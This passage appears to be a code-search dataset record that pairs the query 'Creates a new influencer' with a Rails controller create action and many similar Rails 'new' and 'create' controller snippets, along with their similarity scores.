@auditorium }\n end\n end", "def new\n @taker = Taker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @taker }\n end\n end", "def new\n @instrument = Instrument.new params[:instrument]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument }\n end\n end", "def new\n @synthinstance = Synthinstance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @synthinstance }\n end\n end", "def new\n @beattape = Beattape.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beattape }\n end\n end", "def new\n @event = Event.new(:time_slots => @conference.default_timeslots)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end", "def create\n @conference = Conference.find_by(abbr: params[:event])\n\n @speaker_form = SpeakerForm.new(speaker_params, speaker: Speaker.new())\n @speaker_form.sub = @current_user[:extra][:raw_info][:sub]\n @speaker_form.email = @current_user[:info][:email]\n\n respond_to do |format|\n if @speaker_form.save\n format.html { redirect_to \"/#{@conference.abbr}/speaker_dashboard\", notice: 'Speaker was successfully created.' }\n format.json { render :show, status: :created, location: @speaker }\n else\n format.html { render :new }\n format.json { render json: @speaker.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @auditorium = @theatre.auditoria.new(params[:auditorium])\n\n respond_to do |format|\n if @auditorium.save\n format.html { redirect_to [:admin, @theatre, @auditorium], notice: 'Auditorium was successfully created.' }\n format.json { render json: @auditorium, status: :created, location: @auditorium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @auditorium.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @event = Event.new\n @page_title=\"Add Race\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end", "def new\n\t\t# no code needed here; all handled in the view\n\tend", "def new\n \n @form =Forms.new \n end", "def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @probe }\n end\n end", "def new\n @formatoventum = Formatoventum.new\n @mixboton = \"Crear \"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @formatoventum }\n end\n end", "def new\n @incident = Incident.new\n \n @title = \"New Incident\" \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incident }\n end\n end", "def create\n @auditorio = Auditorio.new(auditorio_params)\n\n respond_to do |format|\n if @auditorio.save\n format.html { redirect_to @auditorio, notice: 'Auditorio was successfully created.' }\n format.json { render :show, status: :created, location: @auditorio }\n else\n format.html { render :new }\n format.json { render json: @auditorio.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @tutor = Tutor.new\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n # @recordatorio = Recordatorio.new\n @recordatorio = current_user.recordatorios.build\n end", "def new\n @control_asistencia = ControlAsistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @control_asistencia }\n end\n end", "def new\n @microsilica = Microsilica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @microsilica }\n end\n end", "def new\n @timeband = Timeband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeband }\n end\n end", "def new\n # Define a new question to properly generate a form\n @question = Question.new\n end", "def new\n @track_appearance = TrackAppearance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @track_appearance }\n end\n end", "def new\n @requisition = Requisition.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n @duration_frequency = DurationFrequency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @duration_frequency }\n end\n end", "def new\n @formulary = Formulary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @formulary }\n end\n end", "def new\n @eatvent = Eatvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @eatvent }\n end\n end", "def new\n @amplicon = Amplicon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @amplicon }\n end\n end", "def new\n @encounter_type = EncounterType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @encounter_type }\n end\n end", "def create\n @conference = Conference.find_by(abbr: params[:event])\n\n @speaker_form = SpeakerForm.new(speaker_params, speaker: Speaker.new())\n @speaker_form.sub = @current_user[:extra][:raw_info][:sub]\n @speaker_form.email = @current_user[:info][:email]\n\n respond_to do |format|\n if @speaker_form.save\n format.html { redirect_to \"/#{@conference.abbr}\", notice: 'Speaker was successfully created.' }\n format.json { render :show, status: :created, location: @speaker }\n else\n format.html { render :new }\n format.json { render json: @speaker.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @entry = LogEntry.new\n respond_to {|format| format.html}\n end", "def new\n @sitio = Sitio.find(params[:id]) \n @evento = @sitio.eventos.new\n #create(params[:evento])\n \n \n # @sitio = Sitio.find(params[:id]) \n # @evento=Evento.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evento }\n end\n end", "def new\n @artist = Artist.new\n end", "def new\n @fine_artist = FineArtist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fine_artist }\n end\n end", "def new\n @line = ReportingForms::Tanimoto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end", "def new\n @rate = OvertimeRate.new\n @form_id = 'add-form'\n \n respond_to do |fmt|\n fmt.html { render :partial => 'form' }\n fmt.json { render :json => @rate }\n end\n end", "def new\n @hike_event = HikeEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hike_event }\n end\n end", "def new\n @patient = Patient.new\n end", "def new\n @patient = Patient.new\n end", "def new\n @patient = Patient.new\n end", "def new\n @inquiry_form = InquiryForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inquiry_form }\n end\n end", "def new\n @electoral_unit = ElectoralUnit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @electoral_unit }\n end\n end", "def new\n @materium = Materium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @materium }\n end\n end", "def new\n @energy = Energy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @energy }\n end\n end", "def new\n @meter_field = MeterField.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @meter_field }\n end\n end", "def maker\n show \n end", "def new\n @recording_event = RecordingEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recording_event }\n end\n end", "def new\n @emitter = Emitter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emitter }\n end\n end", "def new\n @musica = Musica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @musica }\n end\n end", "def new\n @beat = Beat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beat }\n end\n end", "def new\n @tv_show = TvShow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tv_show }\n end\n end", "def new\n @capture_device_maker = CaptureDeviceMaker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @capture_device_maker }\n end\n end", "def create\n @inquiry_form = current_site.inquiry_forms.new(params[:inquiry_form])\n\n respond_to do |format|\n if @inquiry_form.save\n format.html { redirect_to([:admin, @inquiry_form], :notice => t('inquiry_forms.notices.created', :default=>'Inquiry form was successfully created.')) }\n format.xml { render :xml => @inquiry_form, :status => :created, :location => @inquiry_form }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @inquiry_form.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @experiment_control = ExperimentControl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment_control }\n end\n end", "def new\n @device = Device.new\n render :layout=>false\n end", "def new\n @conference = Conference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conference }\n end\n end", "def new\n @measurement = Measurement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @measurement }\n end\n end", "def new\n @measurement = Measurement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @measurement }\n end\n end", "def new\n @demanda = Demanda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @demanda }\n end\n end", "def new\n @energy_datum = EnergyDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @energy_datum }\n end\n end", "def new\n @contender = Contender.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contender }\n end\n end", "def new\n @echoform = Echoform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @echoform }\n end\n end", "def new \n @artist = Artist.new\n end", "def new\n @session = Session.new\n @speakers = active_conference.speakers\n \n respond_to do |format|\n format.html { render layout: 'admin' }\n format.json { render json: @session }\n end\n end", "def new\n @core_termo_vistorium = Core::TermoVistorium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @core_termo_vistorium }\n end\n end", "def new\n @event = Event.new\n @page_title = \"Add an Event\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end", "def new\n respond_to do |format|\n format.html { # new.html.erb\n @flyer_info = FlyerInfo.new\n }\n end\n end", "def new\n setup_variables\n @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end", "def create\n @efimerida = Efimerida.new(efimerida_params)\n\n respond_to do |format|\n if @efimerida.save\n format.html { redirect_to @efimerida, notice: 'Efimerida was successfully created.' }\n format.json { render :show, status: :created, location: @efimerida }\n else\n format.html { render :new }\n format.json { render json: @efimerida.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @vestimenta = Vestimenta.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vestimenta }\n end\n end", "def new\n @eventual = Eventual.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eventual }\n end\n end", "def new\n @actuator = Actuator.new\n\t\t@actuator.command = Command.new #unless @actuator.command\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @actuator }\n end\n end", "def new\n @bundlesticker = Bundlesticker.new\n @headline = \"Auftragsware\".prepend(\"Etik. \")\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bundlesticker }\n end\n end", "def new\n @plate = Plate.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n @insurer = Insurer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @insurer }\n end\n end", "def new\n @viewer = Viewer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @viewer }\n end\n end", "def new\n @event = Event.find(params[:event_id])\n @term = Term.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @term }\n end\n end", "def new\n page_title(\"New Experiment\")\n \n @experiment = Experiment.new\n page_group(current_user.group)\n \n @calendars = self.calendars_select_array()\n @locations = self.locations_select_array()\n self.use_markdown_editor = true\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "def new\n @analisis = Analisis.new\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n format.js {render :form}\n end\n end", "def new\n @tater = Tater.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tater }\n end\n end", "def new\n @exposure = Exposure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exposure }\n end\n end", "def new\n @housing_form = HousingForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @housing_form }\n end\n end", "def new\n @tape_type = TapeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tape_type }\n end\n end", "def new\n @time_glider = TimeGlider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_glider }\n end\n end", "def create\n @cafeterium = Cafeterium.new(cafeterium_params)\n\n respond_to do |format|\n if @cafeterium.save\n format.html { redirect_to @cafeterium, notice: 'Cafeterium was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cafeterium }\n else\n format.html { render action: 'new' }\n format.json { render json: @cafeterium.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @thumbometer = Thumbometer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thumbometer }\n end\n end", "def new\n @dinosaur = Dinosaur.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dinosaur }\n end\n end", "def new\n @perspectiva = Perspectiva.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @perspectiva }\n end\n end", "def new\n @audience = Audience.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audience }\n end\n end", "def new\n @temperature_type = TemperatureType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @temperature_type }\n end\n end", "def new\n @auditoria = Auditoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @auditoria }\n end\n end", "def new\n @treatment = Treatment.new\n load_encounter_actions #to set the encounter actions\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @treatment }\n format.js{\n render :layout => false}\n end\n end", "def new\n @designation = Designation.new\n @form_id = 'add-form'\n \n respond_to do |fmt|\n fmt.html { render :partial => 'form' }\n fmt.json { render :json => @designation }\n end\n end", "def new\n @insurer = Insurer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @insurer }\n end\n end", "def new\n @noticium = Noticium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noticium }\n end\n end" ]
[ "0.7188554", "0.67414635", "0.634043", "0.6326295", "0.61766994", "0.6171509", "0.6159231", "0.6152182", "0.6126411", "0.6118255", "0.6091603", "0.6089135", "0.60621774", "0.6056397", "0.60484195", "0.60212076", "0.6016522", "0.60105014", "0.60094976", "0.6007745", "0.60069174", "0.5993812", "0.59935796", "0.5989783", "0.59891057", "0.59863794", "0.5979497", "0.5979496", "0.5967444", "0.5959157", "0.5958179", "0.5952432", "0.59509915", "0.5946051", "0.594442", "0.5934226", "0.5932696", "0.5912496", "0.59104204", "0.5908748", "0.5908054", "0.5905838", "0.58975875", "0.58946985", "0.58946985", "0.58946985", "0.58938444", "0.5892018", "0.5891217", "0.5889753", "0.58850974", "0.5884448", "0.58796203", "0.5875295", "0.58733237", "0.587318", "0.5870447", "0.5868393", "0.58676916", "0.5867277", "0.5866468", "0.5865342", "0.58593243", "0.58593243", "0.5856431", "0.58560115", "0.58550143", "0.5854347", "0.5851822", "0.5849985", "0.5849267", "0.5847269", "0.58466136", "0.5846596", "0.5843133", "0.5841709", "0.58384675", "0.58363587", "0.58281183", "0.58281064", "0.58278805", "0.58275974", "0.5822599", "0.58190835", "0.5818344", "0.581655", "0.58155835", "0.58155596", "0.5814136", "0.5809749", "0.5809397", "0.58081496", "0.5806607", "0.58065176", "0.5803763", "0.5803001", "0.5797184", "0.57968366", "0.5796622", "0.57925665", "0.5790168" ]
0.0
-1
Creates a new influencer
def create @user = User.new(params[:user]) @user.role = 'influencer' # Account approved @user.approved = true # Assign twitter credentials @user.twitter_linked = true @user.twitter_screen_name = session['twitter_screen_name'] @user.twitter_uid = session['twitter_uid'] @user.twitter_token = session['twitter_token'] @user.twitter_secret = session['twitter_secret'] if @user.save # Set the referrer commission if session[:referrer_id] @user.update_attribute(:referrer_commission, 5) end # Clear session values session[:referrer_id] = session['twitter_screen_name'] = session['twitter_uid'] = session['twitter_token'] = session['twitter_secret'] = nil # Login user sign_in(:user, @user) @influencer = current_user.influencer if @influencer.audience.followers < 1000 @influencer.update_attribute( :approved , false) @influencer.update_attribute(:need_approval , true) @influencer.mail_need_approval else @influencer.update_attribute( :approved , true) @influencer.update_attribute(:need_approval , false) end # Complete profiles redirect_to action: :step_2 else @referrer = User.where(:id => session[:referrer_id]).first if session[:referrer_id] render action: :new end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @influencer = Influencer.new(influencer_params)\n respond_to do |format|\n if @influencer.save\n format.html { redirect_to @influencer, notice: 'Influencer was successfully created.' }\n format.json { render :show, status: :created, location: @influencer }\n else\n format.html { render :new }\n format.json { render json: @influencer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_influencer\n end", "def set_influencer\n @influencer = Influencer.find(params[:id])\n end", "def set_influencer\n @influencer = Influencer.find(params[:id])\n end", "def new\n @instrument = Instrument.new\n @category = [\"bowed strings\", \"wood wind\", \"brass\", \"percussions\", \"keyboard\" , \"guitar family\"]\n end", "def new \n @intervention = Intervention.new\n logger.info(\"INTERVENTIONS CONTROLLER \") \n end", "def new\n @emergencium = Emergencium.new\n end", "def init_tracer(parent: nil, tags: nil)\n parent ||= Tracer.default_parent\n @tracer = Tracer.new(parent, tags: tags)\n end", "def create_watching\n @watching = Watching.add_watcher(owner, event.lesson)\n end", "def new(tempo_or_input, options = {})\n klass = case tempo_or_input\n when Numeric then Timer\n when UniMIDI::Input then MIDIClockInput\n else\n raise \"Not a valid tempo source\"\n end\n klass.new(tempo_or_input, options)\n end", "def initialize\n log_path = @@log[:path] + 'one2influx.log'\n begin\n $LOG = Logger.new(log_path, 'daily', 30)\n rescue Exception => e\n raise \"Unable to create log file. #{e.message}\"\n end\n $LOG.level = @@log[:level]\n\n convert_to_sec\n prepare_storage_ids\n prepare_vm_config\n end", "def new\n \t@event = Event.new\n end", "def new\n \t@event = Event.new\n end", "def create\n artist = Artist.new(name:\"MyArtist\", )\n artist.build_instrument(name: \"guitar\")\n artist.save\n end", "def new\n @event = Event.new\n end", "def initialize\n @logger = Logger.new('cf_flattener.log')\n end", "def init\n File.open(ELEVATOR_PITCH_GENERATOR_FILE, 'w') do |f|\n f.puts ELEVATOR_PITCH_GENERATOR_TEMPLATE\n end\n end", "def new\n @event = Event.new\n end", "def new\n @event = Event.new\n end", "def new\n @event = Event.new\n end", "def new\n @event = Event.new\n end", "def new\n @event = Event.new\n end", "def new\n @event = Event.new\n end", "def new\n @event = Event.new\n end", "def new\n\t\t@event = Event.new\n\tend", "def start_logger\n @appium_logger = ::Logger.new(Maze.config.appium_logfile)\n @appium_logger.datetime_format = '%Y-%m-%d %H:%M:%S'\n end", "def new\n @performance = Performance.new\n end", "def initialize\n @interval = 1\n @wkst = :mo\n @id = rand(100)\n @duration = 0 # 1 day\n @event_start = DateTime.new\n end", "def start_new_tomato\n tomato = @storage.latest\n return if tomato && tomato.active?\n\n duration = @config.attributes['duration'] * 60\n tomato = Tomato.new(Time.now, duration)\n @storage.write_tomato(tomato)\n start_monitor(tomato)\n\n tomato\n end", "def initialize(instrumenter)\n @instrumenter = instrumenter\n end", "def new\n @pitcher = Pitcher.new\n end", "def initialize(options = {}) # :nodoc:\n @participant_ids = options[:participants] || []\n\n if options[:id].nil? and options[:context]\n # Generate the wavelet from scratch.\n super(:id => \"#{GENERATED_PREFIX}_wavelet_#{unique_id}_#{ROOT_ID_SUFFIX}\", :context => options[:context])\n\n # Create a wave to live in.\n wave = Wave.new(:wavelet_ids => [@id], :context => @context)\n @wave_id = wave.id\n @context.add_wave(wave)\n \n # Ensure the newly created wavelet has a root blip.\n blip = Blip.new(:wave_id => wave.id, :wavelet_id => @id,\n :creator => @context.robot.id, :contributors => [@context.robot.id])\n @context.add_blip(blip)\n @root_blip_id = blip.id\n\n @participant_ids.each do |id|\n @context.add_user(:id => id) unless @context.users[id]\n end\n\n @creator_id = GENERATED_CREATOR\n @context.add_user(:id => @creator_id) unless @context.users[@creator_id]\n else\n super(options)\n @root_blip_id = options[:root_blip_id]\n @creator_id = options[:creator] || User::NOBODY_ID\n @wave_id = options[:wave_id]\n end\n\n @creation_time = time_from_json(options[:creation_time]) || Time.now\n @data_documents = options[:data_documents] || {}\n @last_modified_time = time_from_json(options[:last_modified_time]) || Time.now\n @title = options[:title] || ''\n @version = options[:version] || 0\n end", "def new\n @trio = Trio.new(name: Time.now.strftime('%d/%m/%Y-%H:%M:%S'), frequency: 0.05, frequency_operator: '<=', impacts: ['high', 'medium'])\n respond_with(@trio)\n end", "def create(name = nil)\n logger_name = name || caller(1..1).first[/`(.+)'/, 1]\n Logger.new(logger_name)\n end", "def new_text_track(width, height)\n track = new_track(width, height)\n track.new_text_media\n track\n end", "def new_text_track(width, height)\n track = new_track(width, height)\n track.new_text_media\n track\n end", "def initialize\n\n\t\t\t# The speed of the music\n\t\t\t@tempo = 77\n\n\t\t\t# The number of MidiFormat objects\n\t\t\t@num_midi_seqs = 0\n\n\t\t\t# An array of MidiFormat objects\n\t\t\t@midi_format_array = Array.new\n\t\tend", "def new\n @preptime = Preptime.new()\n end", "def initialize(itrack, options = {})\n p options\n @track = itrack\n @options = options\n if options[:edfile]\n @song_path = options[:edfile]\n else\n @fod = Tempfile.new(\"mon\")\n @song_path = @fod.path\n end\n end", "def influencer_params\n params.require(:influencer).permit(:name, :instagram, :twitter, :birth_date, :signup_date)\n end", "def build\n @engine ||\n ::Hanami::Logger.new(@app_name, stream: @stream, level: @level, formatter: format)\n end", "def initialize(logdev, shift_age=0, shift_size=0)\n @default_shift_age = shift_age\n @default_shift_size = shift_size\n target = ::Logger.new(logdev, shift_age, shift_size)\n target.formatter = DEFAULT_FORMATTER\n @targets = [target]\n end", "def instrumenter; end", "def new_tagged_logger; end", "def new\n @new_event = Event.new\n end", "def new()\n trace(\"Instance #{index} created\")\n index += 1\n end", "def initialize(fighter, bomber)\n create(fighter, bomber)\n end", "def initialize(level: nil, formatter: nil, filter: nil, application: nil, environment: nil, host: nil, metrics: false, &block)\n self.formatter = block || formatter\n @application = application\n @environment = environment\n @host = host\n @metrics = metrics\n\n # Subscribers don't take a class name, so use this class name if a subscriber\n # is logged to directly.\n super(self.class, level, filter)\n end", "def start_instrumentation(name)\n @instrumenter = ActiveSupport::Notifications.instrumenter\n @instrumenter.start(name, {})\n end", "def initialize\n @grabbers = {}\n self.logger = Logger.new(STDOUT)\n \n self.class.instance = self\n end", "def initialize(*args)\n # Handle default\n if args.empty?\n args = [STDOUT]\n end\n\n # Initialization\n @default_level = Logger::Severity::INFO\n @formatter = ::TeeLogger::Formatter.new\n @loggers = {}\n @ios = {}\n\n # Load built-in filters\n load_filters(*args)\n\n # Create logs for all arguments\n args.each do |arg|\n add_logger(arg)\n end\n end", "def new\n @unit_of_measure = UnitOfMeasure.new\n end", "def new(*args, &block)\n object = mapper.new_object(*args, &block)\n track(object)\n object\n end", "def new_input_set()\n return CreateSubscriberInputSet.new()\n end", "def create\n @emitter = Emitter.new(params[:emitter])\n\n respond_to do |format|\n if @emitter.save\n format.html { redirect_to @emitter, notice: 'Emitter was successfully created.' }\n format.json { render json: @emitter, status: :created, location: @emitter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @emitter.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @log = Log.new\n end", "def initialize\n Logging.setup(Logger::INFO)\n end", "def new_input_set()\n return GetFrequencyInputSet.new()\n end", "def crear\n @eventos = Evento.new\n end", "def create_chronics\n\t\tcreate_influenza_data\n\tend", "def initialize(opts = {})\n @id, @time = Event.new_instance_info\n @who, @where, @what, @context = opts[:who], opts[:where], opts[:what], opts[:context]\n end", "def initialize(...)\n @metrics = {}\n register(...)\n end", "def new\n load_data\n @feedback = Feedback.new()\n end", "def new_flatseeker\n @flatseeker = Flatseeker.new\n @frequency = get_frequency\n @room_type = get_lookup_values(\"RoomType\")\n end", "def new\n @trainer = Trainer.new\n end", "def new_input_set()\n return GetAudioInputSet.new()\n end", "def on_new(args)\n event, ele, ele_id = args[:args][:event].to_sym, args[:args][:element].to_s, args[:args][:element_id].to_i\n \n if ele == \"sink\"\n sink = PulseAudio::Sink.by_id(ele_id.to_i)\n self.add_sink(sink)\n elsif ele == \"source\"\n source = PulseAudio::Source.by_id(ele_id.to_i)\n self.add_source(source)\n else\n return nil\n end\n end", "def create(name, level = ::Logger::INFO)\n dir = \"#{Bitcoin.base_dir}/log\"\n FileUtils.mkdir_p(dir)\n logger = ::Logger.new(dir + \"/#{name}.log\", 10)\n logger.level = level\n logger.formatter = proc do |severity, datetime, progname, msg|\n Format % [severity[0..0], format_datetime(datetime), $$,\n Thread.current.object_id, severity, progname, msg2str(msg)]\n end\n logger\n end", "def create_event(&blk)\n setup_event(Event.new, &blk)\n end", "def create_event(&blk)\n setup_event(Event.new, &blk)\n end", "def new\n @study = Study.new()\n end", "def new\n @subscriber = Subscriber.new\n end", "def new_track(channel)\n track = MIDI::Track.new(@seq)\n @tracks[channel] = track\n @seq.tracks << track\n return track\n end", "def initialize\n @logger = Logging::Logger[self]\n end", "def initialize(tempo_or_input, options = {}, &block)\n @mute = false \n @actions = { :tick => nil } \n \n midi_clock_output = options[:midi_clock_output] || false\n resolution = options[:resolution] || 128 \n input_channel = options[:input_channel] || options[:channel]\n \n initialize_midi_channel_filter(input_channel, options[:output_channel])\n initialize_midi_io(options[:midi]) \n initialize_syncable(options[:sync_to], options[:sync])\n initialize_event_sequencer \n initialize_clock(tempo_or_input, resolution, midi_clock_output)\n \n @sequence = ArpeggiatorSequence.new(resolution, options)\n @sequence.transpose(options[:transpose]) unless options[:transpose].nil? \n\n bind_events(&block)\n end", "def initialize(options = {})\n raise \"You must provide either :agent or :api_token as an option\" unless options[:agent] || options[:api_token]\n @agent = options[:agent] || ::Instrumental::Agent.new(options[:api_token])\n @prefix = options[:prefix]\n @registry = options[:registry] || Metriks::Registry.default\n interval = options[:interval] || 60\n interval = [interval, 60].max\n @time_tracker = Metriks::TimeTracker.new(interval)\n @on_error = options[:on_error] || proc { |ex| }\n end", "def create_timer\n create_true_timer\n create_fogs\n end", "def audios\n super.create_with(writers: [self])\n end", "def initialize(bpm, data, sample, effects)\n @beat = 60.0 / bpm\n @data = data\n @sample = sample\n @effects = effects\n end", "def new\n @pitch = Pitch.new\n end", "def initialize(name:)\n # Create a logger before any appenders\n # Avoids a situation where Filters::Normal levels are nil\n #\n # Logging::Filters::Level.new bug:\n # @filter has nil levels set on the first invocation\n @logger = Logging.logger[name]\n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def create_water_event(plant_id)\n @last_event = WaterEvent.where(plant_id: plant_id).order(water_date: :desc).limit(1).first\n @last_event.watered = true\n @last_event.save\n\n plant_hash = { plant_id: plant_id}\n event = WaterEvent.new(plant_hash)\n\n @plant = Plant.find(plant_id)\n # @plant.updated_at = Time.current\n @plant.save\n\n # Should be today plus water freq\n event.water_date = @plant.water_freq.days.from_now\n event\n end", "def make_clock\n @clock = Clock.new()\n @clock.target_framerate = 50\n @clock.calibrate\n @clock.enable_tick_events\n end", "def initialize(music_obj)\n @voices = music_obj['staves'].map { |staff| Voice.new(staff) }\n @key = music_obj['key']\n @time_sig = music_obj['timeSig']\n @chords = self.make_chords\n end", "def initialize options = {}\n @flog = Flog.new options\n end", "def new\n @setup = EsSetup.new()\n @setup.read_only = 'N'\n end", "def create\n @instrument = Instrument.new(params[:instrument])\n\n respond_to do |format|\n if @instrument.save\n flash[:notice] = 'Instrument was successfully created.'\n format.html { redirect_to(@instrument) }\n format.xml { render :xml => @instrument, :status => :created, :location => @instrument }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @event = Event.using(:shard_one).new\n\n end", "def initialize\n @logger = ::Logger.new(STDOUT)\n self.level = :info\n end", "def new\n @log_entry = LogEntry.new\n end", "def new_audio_track(width, height)\n track = new_track(width, height)\n track.new_audio_media\n track\n end", "def new_audio_track(width, height)\n track = new_track(width, height)\n track.new_audio_media\n track\n end", "def initialize_log\n if @configuration[:debug].nil?\n @logger = Yell.new format: Yell::ExtendedFormat do |l|\n l.adapter :datefile, 'send.log'\n l.adapter STDOUT\n end\n else\n @logger = Yell.new format: Yell::ExtendedFormat do |l|\n l.adapter :datefile, 'test.log'\n l.adapter STDOUT\n end\n end\n end", "def create\n @tender = Tender.new(params[:tender])\n\n respond_to do |format|\n if @tender.save\n flash[:notice] = 'Tender was successfully created.'\n format.html { redirect_to(@tender) }\n format.xml { render :xml => @tender, :status => :created, :location => @tender }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tender.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n\t\t@development_actor = DevelopmentActor.new\n\tend", "def new\n @cause = Cause.new\n end" ]
[ "0.6336661", "0.5908171", "0.5665371", "0.5568177", "0.530995", "0.5210828", "0.5202087", "0.5154065", "0.50803006", "0.5075157", "0.50303864", "0.50208735", "0.50208735", "0.50096303", "0.5006995", "0.49999067", "0.49531537", "0.49514058", "0.49514058", "0.49514058", "0.49514058", "0.49514058", "0.49514058", "0.49514058", "0.48777962", "0.48760712", "0.48610443", "0.48321512", "0.48283562", "0.48235592", "0.48055312", "0.4784014", "0.47743958", "0.47700623", "0.47529584", "0.47529584", "0.47522762", "0.47459394", "0.47270218", "0.4724541", "0.47109178", "0.4710595", "0.46947154", "0.46889597", "0.46860364", "0.46858165", "0.468114", "0.4672833", "0.46634793", "0.465231", "0.4651851", "0.46462977", "0.4640588", "0.46387604", "0.46377856", "0.46377572", "0.46256784", "0.46177745", "0.46093965", "0.46089685", "0.46067956", "0.46065378", "0.460195", "0.45972815", "0.45949322", "0.45929608", "0.4592096", "0.45919973", "0.4591781", "0.4591781", "0.45853543", "0.45763537", "0.45751965", "0.4575066", "0.45636067", "0.45594248", "0.4558558", "0.45466888", "0.4545774", "0.4542715", "0.45371166", "0.45351198", "0.45351198", "0.45351198", "0.45351198", "0.45351198", "0.45337027", "0.45328972", "0.45323926", "0.45293197", "0.45244473", "0.45227996", "0.45119983", "0.45080435", "0.45064926", "0.45039427", "0.45039427", "0.44990435", "0.44935462", "0.44905153", 